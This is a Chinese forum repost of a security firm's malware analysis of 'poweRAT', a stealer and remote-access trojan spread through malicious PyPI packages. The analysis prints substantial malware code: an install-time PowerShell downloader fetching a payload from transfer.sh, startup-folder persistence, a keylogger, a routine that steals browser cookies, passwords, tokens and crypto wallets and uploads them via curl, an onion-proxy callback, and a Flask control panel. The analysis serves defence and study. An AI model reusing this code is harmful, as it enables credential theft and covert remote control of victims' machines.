吉沃运营专员 发表于 2023-1-10 11:52:54

深入研究 poweRAT:新发现的窃取器

英文原文:https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi
Phylum 发现了另一起针对 PyPI 用户的恶意软件活动,攻击链复杂而混乱,但也很新颖,进一步证明供应链攻击者不会很快放弃。

背景
2022 年 12 月 22 日上午,Phylum 的自动化风险检测平台标记了一个名为 pyrologin 的包。乍一看,它看起来像是在解码的 Base64 编码字符串上调用 exec 的非常标准的 Python 恶意软件,因此我们报告了它并继续前进。然而,在这个包中确实突出的一件事是从 transfer[.]sh 站点获取一个 zip 文件和一些包含 PowerShell 代码的字符串,其中隐藏了 "SilentlyContinue" 和 -WindowStyle,这看起来很明显是为了隐藏攻击者试图执行的任何代码。但同样,当时这是我们发现的唯一一个类似的包,所以将它固定在我们的 "关注这个" 墙上并继续前进。

但是之后:


[*]12/28/22 我们的自动风险检测平台提醒我们发布了 easytimestamp,它具有与 pyrologin 类似的标志
[*]12/29/22 我们的平台标记了 discord 和 discord-dev 的发布,其中也包含与 pyrologin 的相似之处
[*]12/31/22 我们的平台标记了 style.py 和 pythonstyles 的发布,它们看起来和其他的一样

在这一点上,很明显这不仅仅是一次发布,而是对 Python 开发人员和 PyPI 的又一次新兴攻击。让我们开始吧!

setup.py
这个攻击链的第一阶段,就像我们最近在 PyPI 中发现的许多恶意软件一样,从 setup.py 开始。不幸的是,这意味着任何简单地 pip 安装这些软件包的人都会触发在他们的机器上开始恶意软件部署。以下是 setup.py 中的相关片段,为了便于阅读而格式化:

...
exec(base64.b64decode(b'ZGVmIHJ1bihjbWQpOmltcG9ydCBvcywgc3VicHJvY2Vzczty---TRUNCATED---'))
if not os.path.exists(r'C:/ProgramData/Updater'):
    print('Installing dependencies, please wait...')
if sys.version_info.minor > 10:
    run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
else:
    run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput lz4'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
...
如上所述,我们首先注意到的是 Base64 编码字符串的 exec。让我们首先对其进行解码,看看那里发生了什么,格式:

def run(cmd):
    import os, subprocess
    result = subprocess.Popen(
      cmd,
      shell=True,
      stdin=subprocess.PIPE,
      stdout=subprocess.PIPE,
      stderr=subprocess.STDOUT,
      close_fds=True
    )
    output = result.stdout.read()
    return
好的,所以它只定义了一个名为 run 的函数,该函数将获取提供的 cmd 参数并将其传递给 subprocess.Popen() ,后者将在新进程中执行 cmd。请注意,设置了 shell=True 将使用 shell 作为要执行的程序。在编码字符串上使用 exec 的目的似乎是试图阻止静态分析和/或提供某种最小形式的混淆。

现在定义了运行,我们继续进行无意义的检查以查看 C:/ProgramData/Updater 是否存在。如果没有 (这个目录是在后面的步骤中创建的),它只是告诉受害者正在安装 "依赖项"。

接下来它检查正在运行的 Python 的次要版本,然后将一个长的 PowerShell 命令传递给我们现在定义的运行函数,次要版本检查只是确定下一步需要 pip 安装哪些包以支持最终的恶意软件部署,让我们剖析 PowerShell 代码。 这里为了便于阅读而格式化:

$ProgressPreference = 'SilentlyContinue';
$ErrorActionPreference = 'SilentlyContinue';
Invoke-WebRequest
        -UseBasicParsing
        -Uri https://transfer.sh/0tUIJu/Updater.zip
        -OutFile $env:tmp/update.zip;
Expand-Archive
        -Force
        -LiteralPath $env:tmp/update.zip
        -DestinationPath C:/ProgramData;
Remove-Item $env:tmp/update.zip;
Start-Process
        -WindowStyle Hidden
        -FilePath        python.exe
        -Wait
        -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput');
WScript.exe //B C:\ProgramData\Updater\launch.vbs
powershell.exe
        -WindowStyle hidden
        -command Start-Process
                -WindowStyle Hidden
                -FilePath python.exe C:\ProgramData\Updater\server.pyw
以下是发生的过程:


[*]可以立即看到一些偏好设置为 "SilentlyContinue",换句话说,不要让受害者知道发生了什么
[*]有一个 Invoke-WebRequest 从 https://transfer.sh/0tUIJu/Updater.zip 抓取一个 zip 文件并将其放入临时目录
[*]然后将其解压缩到 C:/ProgramData/Updater
[*]从磁盘中删除下载的 zip
[*]然后使用 Start-Process 运行 python -m pip install 并安装一长串潜在的侵入性软件包,包括 pynput、pydirectinput 和 pyscreenshot。除其他事项外,这些库允许人们控制和监视鼠标和键盘输入并捕获屏幕内容。同样值得注意的是 flask 和 flask_cloudflared 的安装,因为如果它真的很有趣 —— 稍后会详细介绍。
[*]最后,它使用 WScript.exe 从名为 launch.vbs 的解压缩目录运行一个 vbs 文件,该文件启动 powershell.exe 以在 -WindowStyle 隐藏模式下启动另一个名为 server.pyw 的下载文件。

这里发生了很多事情,让我们从探索它拉出的 zip 上的内容开始。它包含以下文件和文件夹:


[*]cftunnel.py
[*]cgrab.py
[*]discord.py
[*]launch.vbs
[*]pwgrab.py
[*]server.pyw
[*]static/
[*]templates/

按照文件的使用顺序来看一下这些文件。

launch.vbs

在上面的第 6 步中,WScript.exe 用于运行 launch.vbs,让我们看看其中发生了什么:

On Error Resume Next

ReDim args(WScript.Arguments.Count-1)

For i = 0 To WScript.Arguments.Count-1
    If InStr(WScript.Arguments(i), " ") > 0 Then
      args(i) = Chr(34) & WScript.Arguments(i) & Chr(34)
    Else
      args(i) = WScript.Arguments(i)
      End If

Next

CreateObject("WScript.Shell").Run Join(args, " "), 0, False
使用此脚本的唯一目的是静默启动 powershell.exe。StackOverflow 上有一个关于如何做到这一点的问题的答案,我们怀疑攻击者只是完全从中提取了这段代码,因为它完全相同。

server.pyw

上面复杂的启动序列最终运行 server.pyw 所以让我们把注意力转移到那里,这是我们在该文件中找到的内容:

import lzma, base64
exec(lzma.decompress(base64.b64decode('/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4D96FUNdADSbS---TRUNCATED---')))
另一个 exec,但这次它运行的是经过 Base64 编码和 lzma 压缩的东西。好的,让我们解码并解压!为简洁起见,我不会在此处粘贴整个结果,因为它原来是一个 675 LOC 文件,其中包含一个具有 17 个路由和 30 多个辅助函数的成熟的 Flask 应用程序!我将在此处仅包含导入和主要入口点代码:

import os
from flask import Flask, request, send_file, render_template
from io import BytesIO, StringIO
import subprocess, pyscreenshot, pydirectinput, GPUtil, requests, cpuinfo, shutil, string, random, sys
from cftunnel import run_with_cloudflared
from threading import Thread
import pwgrab, discord, re, time, datetime
from win32gui import GetForegroundWindow, GetWindowText
from pynput import keyboard

# browser storage mapping dict here
# crypto wallet mapping dict here
# chromium browser extension mapping dict here
# large flask app here

if __name__ == "__main__":
    if os.path.exists(lap + r"\whitelist"):
      app.run(debug=True, threaded=True)
      Thread(target=key).start()
    else:
      Thread(target=startup).start()
      Thread(target=ping).start()
      Thread(target=key).start()
      Thread(target=stl).start()
      run_with_cloudflared(app)
      app.run(debug=True, threaded=True)
首先,我们看到使用了之前安装的一些导入。然后一个白名单文件的检查,如果找到,它将让我们进入调试模式。由于关心的是受害者,让我们忽略该路径并查看在 flask 应用程序启动之前触发的 4 个线程:

Thread 1: Thread(target=startup).start()

下面是启动函数的代码:

def startup():
    try:
      run(
            r"powershell -command $startup = $env:appdata + \'\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Updater.lnk\'; $WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut($startup); $Shortcut.TargetPath = \'WScript.exe\'; $Shortcut.Arguments = \'//B C:\\ProgramData\\Updater\\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\\ProgramData\\Updater\\server.pyw\'; $Shortcut.Save()"
      )
      run("attrib +s +h C:/ProgramData/Updater")
    except:
      pass
这段代码做的第一件事是尝试建立持久性,方法是将自己放入 Windows 启动文件夹,名称听起来不错,更新程序。

Thread 2: Thread(target=ping).start()

它触发另一个线程来运行 ping:

def ping():
    while True:
      try:
            time.sleep(5)
            localhost_url = "http://127.0.0.1:8099/metrics"
            tunnel_url = requests.get(localhost_url).text
            tunnel_url = re.search(
                "(?Phttps?:\\/\\/[^\\s]+.trycloudflare.com)", tunnel_url
            ).group("url")
            requests.get(
                f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/ping?tunnel={tunnel_url}&uuid={uuid}&username={username}",
                verify=False,
            )
      except:
            pass
我们稍后会回到这个问题,但现在可以看到它会无限期地尝试从 localhost:8099/metrics 获得响应,如果成功,就会向代理的洋葱站点发送一个 ping。

Thread 3: Thread(target=key).start()

这个很简单,它只是启动一个击键记录器:

def key():
    keyboardListener = keyboard.Listener(on_press=addKey)
    keyboardListener.start()
Thread 4: Thread(target=stl).start()

这个做了很多:

def stl():
    if not os.path.exists(lap + r"\firstrun.txt"):
      try:
            savepath = tmp + "\\saved"
            zip_file = tmp + f"\\{uuid}.zip"
            try:
                run(f'rmdir /q /s "{savepath}\\')
            except:
                pass
            if supported:
                get_chrome_cookies()
                get_chromium_cookies()
                get_firefox_cookies()
                get_edge_cookies()
                get_brave_cookies()
                get_opera_cookies()
                get_operagx_cookies()
                get_vivaldi_cookies()
            for browser, browser_dir in browsers.items():
                get_passwords(browser, browser_dir)
            for extension, extension_dir in extensions.items():
                get_extensions(extension, extension_dir)
            for wallet, wallet_dir in wallets.items():
                get_wallets(wallet, wallet_dir)
            get_telegram()
            get_tokens()
            run(
                r'rmdir /q /s "'
                + savepath
                + r'\\misc\\tdata\\user_data" && rmdir /q /s "'
                + savepath
                + r'\\misc\\tdata\\emoji\\"'
            )
            run(f'powershell Compress-Archive -Force "{savepath}\\' "{zip_file}\\")
            run(f'attrib +h "{savepath}"')
            run(f'attrib +h "{zip_file}"')
            link = (
                "https://transfer.sh/"
                + run(f"curl -T \"{zip_file}\" https://transfer.sh/{uuid}.zip").split(
                  "https://transfer.sh/"
                )
            )
            requests.get(
                f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/save?uuid={uuid}&link={link}&date={date}&username={username}",
                verify=False,
            )
            run(f"echo no >%localappdata%/firstrun.txt")
      except:
            pass
我认为仅凭函数名称就可以让您清楚地了解那里发生了什么。要点是,攻击者窃取了所有 cookie、浏览器密码、电报数据、discord 令牌和加密钱包,将其全部塞入一个 zip,然后通过另一个 transfer[.]sh 站点将其泄露。然后,攻击者通过暗网向一个洋葱网站发送另一个 ping 到带有一些信息的 clearnet 代理,大概是让他们知道他们成功地窃取了一堆东西。

run_with_cloudflared(app)

好的,所以当 ping 函数一直试图获取 localhost:8099/metrics 时,攻击者然后运行从 cftunnel.py 文件导入的 run_with_cloudflared(),所以让我们转到那里。

cftunnel.py

这是另一个相当长的文件,所以我不会粘贴它的内容,但我们只需要知道它会尝试下载并安装 cloudflared,这是受害者机器上的 cloudflare 隧道客户端。从自述文件:

包含 Cloudflare Tunnel 的命令行客户端,Cloudflare Tunnel 是一个隧道守护程序,可将流量从 Cloudflare 网络代理到您的源。这个守护进程位于 Cloudflare 网络和您的来源 (例如网络服务器) 之间。Cloudflare 吸引客户端请求并通过此守护程序将它们发送给您,而无需您在防火墙上戳洞 —— 您的来源可以尽可能保持关闭。
所以看起来 run_with_cloudflared() 允许攻击者通过 Cloudflare 隧道访问在受害者机器上运行的 flask 应用程序,而无需在防火墙上打开任何东西。这一切都可以通过使用 TryCloudflare 对攻击者完全免费完成,这似乎是他们在这里使用的。一旦隧道启动并运行,ping 功能最终将成功,让攻击者知道隧道正常运行并且他们控制了另一台机器。

好的,现在我们对这里发生的事情有了一个很好的了解。让我们回顾一下。 通过仅安装这些软件包之一:


[*]大量敏感信息被泄露
[*]攻击者建立持久性
[*]击键记录器已打开
[*]安装了 Cloudflare 隧道
[*]启动了一个 flask 应用程序,攻击者可以通过隧道访问该应用程序

对于我们通常在 PyPI 中发布的恶意软件而言,这绝对是新颖的。它是一个结合了反向访问木马 (RAT) 的窃取程序。

可是等等!还有更多 …
现在让我们探索一些 flask 应用程序路由,看看这个 RAT 有什么能力。

Flask App
我们将从查看 "/" 路由开始,对于那些不熟悉 Flask 或 Web 应用程序路由的人来说,这就像应用程序的 "主页" 页面或索引页面。这条路由绑定到一个名为 cnc 的函数——大概代表命令和控制。

@app.route("/")
def cnc():
    return render_template(
      "control.html",
      username=username,
      ipv4=ipv4,
      ipv6=ipv6,
      gpu=gpu,
      cpu=cpu,
      ram=ram,
    )
它只是呈现 control.html 模板并将有关受害机器的一些信息作为变量传递。这是在没有 css 且在 flask 外部呈现的模板的屏幕截图:



我们仍然可以在不运行应用程序的情况下很好地了解它在做什么,看起来我们认为它是一个指挥和控制中心是正确的。它提取受害者的用户名、IP 和机器信息,并允许攻击者运行 shell 命令、下载远程文件并在机器上执行它们、从机器中窃取文件甚至整个目录,甚至执行任意 python 代码。

它自称为 "xrat",但截至本文发表时,我们不确定这是指什么。 在功能方面与以名称 "xrat" 发布的其他 RAT 有很强的相似性,但它们不是用 Python 编写的。也许这是另一个 xrat 端口的开始,或者甚至可能只是对一个 xrat 的点头。无论哪种方式,我们都将其称为 poweRAT,因为它在攻击链中早期依赖于 PowerShell。

除了上面在 GUI 中显示的主要功能之外,还有一个名为 live 的路由绑定到 serve_img,代码如下:

@app.route("/live\\")
def serve_img():
    return render_template("live.html\\")
有趣的是,我们来看看它在这里渲染的 live.html 模板。

<html>

<head>
    <script type="text/javascript">
      function reloadpic() {
            document.images["screen"].src = "screen.png?random=" + new Date().getTime();
            setTimeout("reloadpic();", 1000);
      }
      onload = reloadpic;

      function click(event) {
            fetch(`/click?x=${event.pageX}&y=${event.pageY}`);
      }

      function type(event) {
            fetch(`/type?key=${event.key}`);
      }

      document.addEventListener("click", click);
      document.addEventListener("keypress", type);
    </script>
    <style>
      body {
            overflow: hidden;
            padding: 0;
            margin: 0;
      }

      img {
            width: 100vw;
      }
    </style>
</head>

<body>
    <img id="screen">
</body>

</html>
好的,这基本上是一个基本的远程桌面实现,刷新率约为 1fps。该页面只是不断更新的受害者屏幕图像,可以看到鼠标和键盘点击的 JavaScript 事件侦听器。因此,攻击者正在查看不断更新的受害者机器的屏幕截图,当他们在该页面上单击或键入时,这些函数会获取攻击者按下的 x、y 坐标或按钮,并将其传回 Python,然后触发鼠标单击 并按下受害者机器上的按钮。

学到了什么
这东西就像打了类固醇的 RAT,它具有内置于漂亮的 Web GUI 中的所有基本 RAT 功能,具有基本的远程桌面功能和启动窃取程序!即使攻击者无法建立持久性或无法使远程桌面实用程序正常工作,窃取者部分仍会发送它发现的任何内容。如果持久性和远程桌面部分确实有效,那只会雪上加霜。正如我们之前所说,这些攻击者顽强而聪明,只会不断改变策略。

xulongzhuiyi 发表于 2023-8-11 11:02:49

厉害,分享的很详细,谢谢
页: [1]
查看完整版本: 深入研究 poweRAT:新发现的窃取器